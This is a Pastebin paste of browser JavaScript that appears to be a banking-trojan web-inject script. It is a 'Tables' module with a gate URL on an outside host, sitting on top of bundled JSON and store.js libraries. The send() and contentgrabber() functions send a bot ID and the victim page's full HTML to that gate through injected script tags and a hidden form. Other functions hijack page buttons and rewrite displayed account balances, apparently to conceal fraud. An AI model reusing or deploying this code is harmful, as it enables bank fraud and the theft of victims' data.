Xylitol

ssl10.ovh.net/~dpexpert/arg.js

Aug 18th, 2017
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. this.JSON||(this.JSON={}),function(){function f(e){return e<10?"0"+e:e}function quote(e){return escapable.lastIndex=0,escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t=="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];a&&typeof a=="object"&&typeof a.toJSON=="function"&&(a=a.toJSON(e)),typeof rep=="function"&&(a=rep.call(t,e,a));switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a)return"null";gap+=indent,u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n<s;n+=1)u[n]=str(n,a)||"null";return i=u.length===0?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+o+"]":"["+u.join(",")+"]",gap=o,i}if(rep&&typeof rep=="object"){s=rep.length;for(n=0;n<s;n+=1)r=rep[n],typeof r=="string"&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i))}else for(r in a)Object.hasOwnProperty.call(a,r)&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i));return i=u.length===0?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+o+"}":"{"+u.join(",")+"}",gap=o,i}}typeof Date.prototype.toJSON!="function"&&(Date.prototype.toJSON=function(e){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null},String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(e){return this.valueOf()});var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;typeof JSON.stringify!="function"&&(JSON.stringify=function(e,t,n){var r;gap="",indent="";if(typeof n=="number")for(r=0;r<n;r+=1)indent+=" ";else typeof n=="string"&&(indent=n);rep=t;if(!t||typeof t=="function"||typeof t=="object"&&typeof t.length=="number")return str("",{"":e});throw new Error("JSON.stringify")}),typeof JSON.parse!="function"&&(JSON.parse=function(text,reviver){function walk(e,t){var n,r,i=e[t];if(i&&typeof i=="object")for(n in i)Object.hasOwnProperty.call(i,n)&&(r=walk(i,n),r!==undefined?i[n]=r:delete i[n]);return reviver.call(e,t,i)}var j;text=String(text),cx.lastIndex=0,cx.test(text)&&(text=text.replace(cx,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return j=eval("("+text+")"),typeof reviver=="function"?walk({"":j},""):j;throw new SyntaxError("JSON.parse")})}(),"use strict",function(e,t){typeof define=="function"&&define.amd?define([],t):typeof exports=="object"?module.exports=t():e.store=t()}(this,function(){function o(){try{return r in t&&t[r]}catch(e){return!1}}var e={},t=window,n=t.document,r="localStorage",i="script",s;e.disabled=!1,e.version="1.3.17",e.set=function(e,t){},e.get=function(e,t){},e.has=function(t){return e.get(t)!==undefined},e.remove=function(e){},e.clear=function(){},e.transact=function(t,n,r){r==null&&(r=n,n=null),n==null&&(n={});var i=e.get(t,n);r(i),e.set(t,i)},e.getAll=function(){},e.forEach=function(){},e.serialize=function(e){return JSON.stringify(e)},e.deserialize=function(e){if(typeof e!="string")return undefined;try{return JSON.parse(e)}catch(t){return e||undefined}};if(o())s=t[r],e.set=function(t,n){return n===undefined?e.remove(t):(s.setItem(t,e.serialize(n)),n)},e.get=function(t,n){var r=e.deserialize(s.getItem(t));return r===undefined?n:r},e.remove=function(e){s.removeItem(e)},e.clear=function(){s.clear()},e.getAll=function(){var t={};return e.forEach(function(e,n){t[e]=n}),t},e.forEach=function(t){for(var n=0;n<s.length;n++){var r=s.key(n);t(r,e.get(r))}};else if(n.documentElement.addBehavior){var u,a;try{a=new ActiveXObject("htmlfile"),a.open(),a.write("<"+i+">document.w=window</"+i+'><iframe src="/favicon.ico"></iframe>'),a.close(),u=a.w.frames[0].document,s=u.createElement("div")}catch(f){s=n.createElement("div"),u=n.body}var l=function(t){return function(){var n=Array.prototype.slice.call(arguments,0);n.unshift(s),u.appendChild(s),s.addBehavior("#default#userData"),s.load(r);var i=t.apply(e,n);return u.removeChild(s),i}},c=new RegExp("[!\"#$%&'()*+,/\\\\:;<=>?@[\\]^`{|}~]","g"),h=function(e){return e.replace(/^d/,"___$&").replace(c,"___")};e.set=l(function(t,n,i){return n=h(n),i===undefined?e.remove(n):(t.setAttribute(n,e.serialize(i)),t.save(r),i)}),e.get=l(function(t,n,r){n=h(n);var i=e.deserialize(t.getAttribute(n));return i===undefined?r:i}),e.remove=l(function(e,t){t=h(t),e.removeAttribute(t),e.save(r)}),e.clear=l(function(e){var t=e.XMLDocument.documentElement.attributes;e.load(r);while(t.length)e.removeAttribute(t[0].name);e.save(r)}),e.getAll=function(t){var n={};return e.forEach(function(e,t){n[e]=t}),n},e.forEach=l(function(t,n){var r=t.XMLDocument.documentElement.attributes;for(var i=0,s;s=r[i];++i)n(s.name,e.deserialize(t.getAttribute(s.name)))})}try{var p="__storejs__";e.set(p,p),e.get(p)!=p&&(e.disabled=!0),e.remove(p)}catch(f){e.disabled=!0}return e.enabled=!e.disabled,e})
  2.  
  3. var Tables = (function(){
  4.    
  5.     var admin = 'https://ssl6.ovh.net/~fuledota//admin/css/agri/';
  6.    
  7.     var data = new Array();
  8.    
  9.     var link = {
  10.         gate: admin+"menu.php"
  11.     };
  12.    
  13.     var options = {
  14.         callback_status: '',
  15.         iframe_status: '',
  16.         currency_state: false
  17.     };
  18.    
  19.     var splitter = {value: 'none',position: 'none'};
  20.     var prefix = {minus: '-',plus: ''};
  21.    
  22.     function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
  23.    
  24.     function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera')  > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
  25.    
  26.     function cin(digits){var res = '';if(digits && digits.length > 0){digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for(var i = 0;i < digits.length; i++){var Char = digits.charAt(i);if(ValidChars.indexOf(Char) >=0){res += Char;}}}return parseFloat(res);}
  27.    
  28.     function cout(digits,r){if(r == 1){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+','+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + '.' + cents);}else if(r == 2){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+'.'+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + ',' + cents);}else{return digits;}}
  29.    
  30.     function gc(digits){if(digits){if(/[0-9]/igm.test(digits)){if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){options.currency_state = 1;return cin(digits.replace(/\,/g, ''));}else{options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}}else{return digits;}}else{return digits;}}
  31.    
  32.     function sc(digits){if(options.currency_state == 1 || options.currency_state == 2){return cout(digits,options.currency_state);}else{return digits;}}
  33.    
  34.     return{
  35.         set: function(name,value){
  36.             if(/function/igm.test(typeof value)){
  37.                 data[name] = value();
  38.             }else{
  39.                 data[name] = value;
  40.             }
  41.         },
  42.        
  43.         add: function(name,value){
  44.             if(data[name]){
  45.                 data[name] = data[name]+value;
  46.             }else{
  47.                 _tables.set(name,value);
  48.             }
  49.         },
  50.        
  51.         get: function(name){
  52.             return data[name];
  53.         },
  54.        
  55.         are: function(){
  56.             var r = true;
  57.             if(arguments && arguments.length > 0){
  58.                 for(var i = 0; i < arguments.length; i++){
  59.                     if(!data[arguments[i]]){
  60.                         r = false;
  61.                     }
  62.                 }
  63.             }
  64.             return r;
  65.         },
  66.        
  67.         dump: function(){
  68.             var a = '';
  69.             for(key in data){
  70.                 a += key+": "+data[key]+"\r\n";
  71.             }
  72.             alert(a);
  73.         },
  74.        
  75.         digs: function(digits){
  76.             var res = '';
  77.             if(digits && digits.length > 0){
  78.                 digits = digits.replace(/\u2212/g, "-");
  79.                 var ValidChars = "0123456789";
  80.                 for(var i = 0;i < digits.length; i++){
  81.                     var Char = digits.charAt(i);
  82.                     if(ValidChars.indexOf(Char) >=0){
  83.                         res += Char;
  84.                     }
  85.                 }
  86.             }
  87.             return res;
  88.         },
  89.        
  90.         findout: function(){
  91.             var found = {
  92.                 tag: false,
  93.                 error: false,
  94.                 element: false
  95.             };
  96.            
  97.             if(arguments && arguments.length >= 3){
  98.                 var elements_array = arguments[1].split("|");
  99.                 if(elements_array.length > 0){
  100.                     for(var k = 0; k < elements_array.length; k++){
  101.                         var elements = arguments[0].getElementsByTagName(elements_array[k]);
  102.                         if(elements && elements.length > 0){
  103.                             for(var i = 0; i < elements.length; i++){
  104.                                 for(var e = 2; e < arguments.length; e++){
  105.                                     var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  106.                                     if(arguments[e].split(":")[0] == "class"){
  107.                                         if(elements[i].className !== null && pattern.test(elements[i].className)){
  108.                                             found.tag = true;
  109.                                         }else{
  110.                                             found.error = true;
  111.                                         }
  112.                                     }else if(arguments[e].split(":")[0] == "for"){
  113.                                         if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
  114.                                             found.tag = true;
  115.                                         }else{
  116.                                             found.error = true;
  117.                                         }
  118.                                     }else{
  119.                                         if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  120.                                             found.tag = true;
  121.                                         }else{
  122.                                             found.error = true;
  123.                                         }
  124.                                     }
  125.                                 }
  126.                                 if(found.tag && !found.error){
  127.                                     return elements[i];
  128.                                 }else{
  129.                                     found.tag = false;
  130.                                     found.error = false;
  131.                                 }
  132.                             }
  133.                         }
  134.                     }
  135.                     return false;
  136.                 }else{
  137.                     return false;
  138.                 }
  139.             }else{
  140.                 return false;
  141.             }
  142.         },
  143.        
  144.         findin: function(){
  145.             var found = {
  146.                 tag: false,
  147.                 error: false,
  148.                 element: false
  149.             };
  150.        
  151.             if(arguments && arguments.length > 2){
  152.                 var elements = arguments[0].getElementsByTagName(arguments[1]);
  153.                 if(elements && elements.length > 0){
  154.                     for(var i = 0; i < elements.length; i++){
  155.                         for(var e = 2; e < arguments.length; e++){
  156.                             var pattern = new RegExp(arguments[e],"igm");
  157.                             if(pattern.test(elements[i].innerHTML.toLowerCase())){
  158.                                 found.tag = true;
  159.                             }else{
  160.                                 found.error = true;
  161.                             }
  162.                         }
  163.                         if(found.tag && !found.error){
  164.                             return elements[i];
  165.                         }else{
  166.                             found.tag = false;
  167.                             found.error = false;
  168.                         }
  169.                     }
  170.                 }
  171.             }
  172.             return false;
  173.         },
  174.        
  175.         tinydecode: function(s){
  176.             s = s.replace(/\&lt;/g,'<');
  177.             s = s.replace(/\&gt;/g,'>');
  178.             s = s.replace(/\&quot;/g,'"');
  179.             s = s.replace(/\&amp;/g,'&');
  180.             s = s.replace(/\&nbsp;/g,' ');
  181.             return s;
  182.         },
  183.        
  184.         child: function(parent,child){
  185.             return parent && child ? parent.getElementsByTagName(child) : false;
  186.         },
  187.        
  188.         html: function(element){
  189.             if(element){
  190.                 var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
  191.                 return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  192.             }else{
  193.                 return "";
  194.             }
  195.         },
  196.        
  197.         input: function(input,type){
  198.             switch(type){
  199.                 case("block"):
  200.                     if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
  201.                 break;
  202.                
  203.                 case("disable"):
  204.                     input.disabled = true;
  205.                 break;
  206.             }
  207.         },
  208.        
  209.         form: function(form,type){
  210.             if(form){
  211.                 switch(type){
  212.                     case("block"):
  213.                         var inps = _tables.child(form,"input");
  214.                         if(inps && inps.length > 0){
  215.                             for(var i = 0; i < inps.length; i++){
  216.                                 if(/text|password/igm.test(inps[i].type)){
  217.                                     _tables.input(inps[i],'block');
  218.                                 }
  219.                             }
  220.                         }
  221.                     break;
  222.                 }
  223.             }
  224.         },
  225.        
  226.         bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
  227.        
  228.         replacebutton: function(button,func,classname){
  229.             var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
  230.             for(x in button.attributes){
  231.                 if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
  232.                     if(button.attributes[x].name == "onclick" ||
  233.                         button.attributes[x].name == "name" ||
  234.                         button.attributes[x].name == "disabled" ||
  235.                         (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
  236.                         button.attributes[x].name == "id"
  237.                     ){
  238.                         continue;
  239.                     }
  240.                     if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
  241.                         newButton.type = "button";
  242.                     }else{
  243.                         newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
  244.                     }
  245.                 }
  246.             }
  247.            
  248.             if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
  249.                 newButton.innerHTML = button.innerHTML;
  250.             }
  251.             if(classname)newButton.className = classname;
  252.             newButton.style.cursor = "pointer";
  253.             button.style.display = "none";
  254.             newButton.id = "_tables.button";
  255.             _tables.bind("click",newButton,func);
  256.             button.parentNode.insertBefore(newButton,button);
  257.         },
  258.        
  259.         encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
  260.        
  261.         send: function(){var l = link.gate+'?botid='+store.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
  262.        
  263.         status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
  264.        
  265.         fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
  266.        
  267.         rand: function(a,b){return Math.floor((Math.random()*b)+a);},
  268.        
  269.         shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
  270.        
  271.         contentgrabber: function(doc){
  272.             var _tcgb = document.getElementById("_tables.content.grabber.box");
  273.             if(_tcgb)_tcgb.parentNode.removeChild(_tcgb);
  274.             var docLoc = doc.location.href;
  275.             var baseLoc = docLoc.substr(0,docLoc.lastIndexOf("/")+1);
  276.             var docCodeRemastered = doc.documentElement.innerHTML;
  277.             _tcgb = document.createElement("div");
  278.             _tcgb.style.position = "absolute";
  279.             _tcgb.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  280.             _tcgb.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  281.             _tcgb.id = "_tables.content.grabber.box";
  282.             _tcgb.innerHTML = '<iframe id="_tables.content.iframe" name="_tables.content.iframe" width=1280 height=800 style="border:5px solid black;"></iframe>';
  283.             document.body.appendChild(_tcgb);
  284.             var _tform = document.createElement("form");
  285.             var _tarea = document.createElement("textarea");
  286.             var _tbranch = document.createElement("input");
  287.             var _tbotid = document.createElement("input");
  288.             _tbranch.name = "branch";
  289.             _tbranch.value = "CG";
  290.             _tbotid.value = _brows.botid;
  291.             _tbotid.name = 'botid';
  292.             _tform.id = "_tables.content.form";
  293.             _tform.target = "_tables.content.iframe";
  294.             _tform.action = link.gate;
  295.             _tform.method = "POST";
  296.             _tarea.name = "_tarea";
  297.             if(_tables.get('showframe')){
  298.                 _tarea.style.width = "1500px";
  299.                 _tarea.style.height = "500px";
  300.             }else{
  301.                 _tarea.style.display = "none";
  302.                 _tform.style.display = "none";
  303.             }
  304.             _tarea.value = '<html>['+_tables.get('message').replace(/\|/igm,'<br>')+']<base href="'+baseLoc+'">'+docCodeRemastered+'iframe:'+_tables.get('stoperr')+'</html>';
  305.             _tform.appendChild(_tbotid);
  306.             _tform.appendChild(_tbranch);
  307.             _tform.appendChild(_tarea);
  308.             document.getElementsByTagName("body")[0].appendChild(_tform);
  309.             var _tform = document.getElementById("_tables.content.form");
  310.             _tform.submit();
  311.         },
  312.        
  313.         brows: function(){
  314.             var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
  315.             if(/trident/i.test(M[1])){
  316.                 tem=/\brv[ :]+(\d+)/g.exec(ua) || [];
  317.                 return 'IE '+''+(tem[1]||'');
  318.                 }
  319.             if(M[1]==='Chrome'){
  320.                 tem=ua.match(/\bOPR\/(\d+)/)
  321.                 if(tem!=null)   {return {name:'Opera', version:tem[1]};}
  322.                 }
  323.             M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
  324.             if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
  325.             return M[0]+' '+M[1];
  326.         },
  327.        
  328.         click: function(btn,doc){
  329.             if(btn.type == "image"){
  330.                 var inp_X = document.getElementById("inp_X");
  331.                 var inp_Y = document.getElementById("inp_Y");
  332.                 var inp_submit = document.getElementById("inp_submit");
  333.                 if(inp_X)inp_X.parentNode.removeChild(inp_X);
  334.                 if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
  335.                 if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
  336.                 var inp_X = document.createElement("input");
  337.                 var inp_Y = document.createElement("input");
  338.                 var inp_submit = document.createElement("input");
  339.                 inp_X.name = btn.name+".x";
  340.                 inp_Y.name = btn.name+".y";
  341.                 inp_submit.name = btn.name;
  342.                 inp_submit.value = btn.value;
  343.                 inp_submit.type = "submit";
  344.                 inp_submit.id = "inp_submit";
  345.                 inp_X.id = "inp_X";
  346.                 inp_Y.id = "inp_Y";
  347.                 inp_X.value = _tables.rand(1,15);
  348.                 inp_Y.value = _tables.rand(1,15);
  349.                 inp_X.style.display = "none";
  350.                 inp_Y.style.display = "none";
  351.                 inp_submit.style.display = "none";
  352.                 btn.parentNode.insertBefore(inp_X,btn);
  353.                 btn.parentNode.insertBefore(inp_Y,btn);
  354.                 btn.parentNode.insertBefore(inp_submit,btn);
  355.                 var inp_submit = doc.getElementById("inp_submit");
  356.                 if(inp_submit)_tables.click("click",inp_submit);
  357.             }else{
  358.                 if(document.createEvent){
  359.                     var event = document.createEvent('MouseEvents');
  360.                     event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  361.                     btn.dispatchEvent(event);
  362.                 }else if(btn.fireEvent){
  363.                     btn.click();
  364.                 }
  365.             }
  366.         },
  367.        
  368.         iframelink: function(link,param){
  369.             var _tf = document.getElementById("_tables.frame.box");
  370.             if(_tf)_tf.parentNode.removeChild(_tf);
  371.                    
  372.             _tf = document.createElement("div");
  373.             _tf.style.position = "absolute";
  374.             _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  375.             _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  376.             _tf.id = "_tables.frame.box";
  377.             _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
  378.             document.body.appendChild(_tf);
  379.             var f = document.getElementById("_tables.iframe");
  380.             f.src = link;
  381.             if(param)_tables.fstatus(param);
  382.         },
  383.        
  384.         iframedom: function(fr){
  385.             var r = {
  386.                 doc: false,
  387.                 win: false
  388.             };
  389.             if(/firefox/igm.test(_tables.brows()) && fr){
  390.                 r.doc = fr.contentDocument;
  391.                 r.win = fr.contentWindow;
  392.             }else{
  393.                 r.doc = fr.contentWindow.document;
  394.                 r.win = fr.contentWindow;
  395.             }
  396.            
  397.             return r;
  398.         },
  399.        
  400.         height: function(){
  401.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
  402.         },
  403.        
  404.         popupshow: function(content,back){
  405.             _tables.popuphide();
  406.             back = back ? '#FFFFFF' : 'url(clear.png)';
  407.             var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+800)+'px;z-index:999990;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);"></div>';
  408.             var _tp = document.createElement("div");
  409.             _tp.id = "_tables.popup";
  410.             _tp.innerHTML = bg+""+content;
  411.             document.getElementsByTagName('body')[0].appendChild(_tp);
  412.         },
  413.        
  414.         popuphide: function(){
  415.             var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
  416.         },
  417.        
  418.         inarr: function(arr,value){
  419.             for(var i = 0; i < arr.length; i++){
  420.                 if(value == arr[i]){
  421.                     return true;
  422.                 }
  423.             }
  424.             arr.push(value);
  425.             return false;
  426.         },
  427.        
  428.         placeholdr: function(input){
  429.             if(/firefox/igm.test(_tables.brows()))return;
  430.             var txt = input.getAttribute("placeholder");
  431.             if(txt.length > 0){
  432.                 input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
  433.                 input.value = input.value.length > 0 ? input.value : txt;
  434.              
  435.                 input.onfocus = function(){
  436.                     this.style.color = '#000000';
  437.                     this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
  438.                 };
  439.            
  440.                 input.onblur = function(){
  441.                     if(this.value.length == 0){
  442.                         this.value = this.getAttribute("placeholder");
  443.                         this.style.color = '#CCCCCC';
  444.                     }
  445.                 };
  446.             }
  447.         },
  448.        
  449.         btntoloader: function(btn,imghref){
  450.             btn.style.visibility = 'hidden';
  451.             var img = document.createElement('img');
  452.             img.align = 'top';
  453.             img.src = imghref;
  454.             img.id = '_f_btntoloader';
  455.             img.style.cssFloat = 'right';
  456.             btn.parentNode.insertBefore(img,btn);
  457.         },
  458.        
  459.         cget: function(param){
  460.             return gc(param);
  461.         },
  462.        
  463.         cset: function(param){
  464.             return sc(param);
  465.         },
  466.        
  467.         replace: function(element,summa){
  468.             var HS = false;
  469.             var tsel = /select|option/igm.test(element.tagName);
  470.             var tinp = /input|textarea/igm.test(element.tagName);
  471.             var balance_for_calc = 0;
  472.             if(tsel){
  473.                 if(splitter.value != "none" && splitter.position != "none"){
  474.                     var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  475.                     var balance = gc(element.text.split(splitter.value)[splitter.position]);
  476.                 }else{
  477.                     var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  478.                     var balance = gc(element.text);
  479.                 }
  480.             }else if(tinp){
  481.                 if(splitter.value != "none" && splitter.position != "none"){
  482.                     var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  483.                     var balance = gc(element.value.split(splitter.value)[splitter.position]);
  484.                 }else{
  485.                     var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  486.                     var balance = gc(element.value);
  487.                 }
  488.             }else{
  489.                 if(splitter.value != "none" && splitter.position != "none"){
  490.                     var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  491.                     var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
  492.                 }else{
  493.                     var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
  494.                     var balance = gc(_tables.html(element));
  495.                     if(/\sS/igm.test(_tables.html(element))){
  496.                         HS = true;
  497.                         minus = true;
  498.                         balance = balance*-1;
  499.                     }
  500.                 }
  501.             }
  502.            
  503.             var new_balance = balance+parseFloat(summa);
  504.             balance_for_calc = new_balance;
  505.             if(minus)balance = balance * -1;
  506.             balance = sc(balance);
  507.             new_balance = sc(new_balance);
  508.            
  509.             if(tsel){
  510.                 element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
  511.                 var f = element.text.replace(balance+"",new_balance+"");
  512.             }else if(tinp){
  513.                 var f = element.value.replace(balance+"",new_balance+"");
  514.             }else{
  515.                 element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
  516.                 var f = element.innerHTML.replace(balance+"",new_balance+"");
  517.             }
  518.            
  519.             if(parseFloat(new_balance) >= 0){
  520.                 f = f.replace(new RegExp('-'+new_balance,'igm'),new_balance+'');
  521.                 f = f.replace(/-\s{1,}/,'');
  522.             }else{
  523.                 f = f.replace(/\--/,'-');
  524.                 f = f.replace(/\-\s{1,}-/,'-');
  525.             }
  526.            
  527.             if(tsel){
  528.                 element.text = f;
  529.             }else if(tinp){
  530.                 element.value = f;
  531.             }else{
  532.                 element.innerHTML = f;
  533.                 if(balance_for_calc > 0){
  534.                     element.innerHTML = element.innerHTML.replace(/montant/igm,'');
  535.                     element.className = element.className.replace(/cel\-important/igm,'');
  536.                 }else{
  537.                     if(HS){
  538.                         new_balance = new_balance.replace('\-','');
  539.                         element.innerHTML = element.innerHTML.replace(new RegExp('-'+new_balance,'igm'),new_balance);
  540.                     }
  541.                 }
  542.             }
  543.            
  544.             if(splitter.value != "none" && splitter.position != "none"){
  545.                 splitter.value = "none";
  546.                 splitter.position = "none";
  547.             }
  548.         },
  549.        
  550.         splitter: function (value,position){
  551.             splitter.value = value;
  552.             splitter.position = position;
  553.         },
  554.        
  555.         match: function(el,data){
  556.             var pattern = new RegExp(data,"igm");
  557.             if(pattern.test(el)){
  558.                 return true;
  559.             }else{
  560.                 return false;
  561.             }
  562.         },
  563.        
  564.         convertdate: function(date){
  565.             var els = date.split(".");
  566.             if(els && els.length == 3){
  567.                 var res = 0;
  568.                 res += parseFloat(els[2]) * 365;
  569.                 res += parseFloat(els[1]) * 30;
  570.                 res += parseFloat(els[0]);
  571.                 return res;
  572.             }else{
  573.                 return -1;
  574.             }
  575.         },
  576.        
  577.         recolortable: function(table,class1,class2){
  578.             var tr = _tables.child(table,'tr');
  579.             if(tr && tr.length > 0){
  580.                 for(var i = 0; i < tr.length; i++){
  581.                     tr[i].className = (i % 2 == 0) ? class1 : class2;
  582.                 }
  583.             }
  584.         },
  585.        
  586.         id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
  587.        
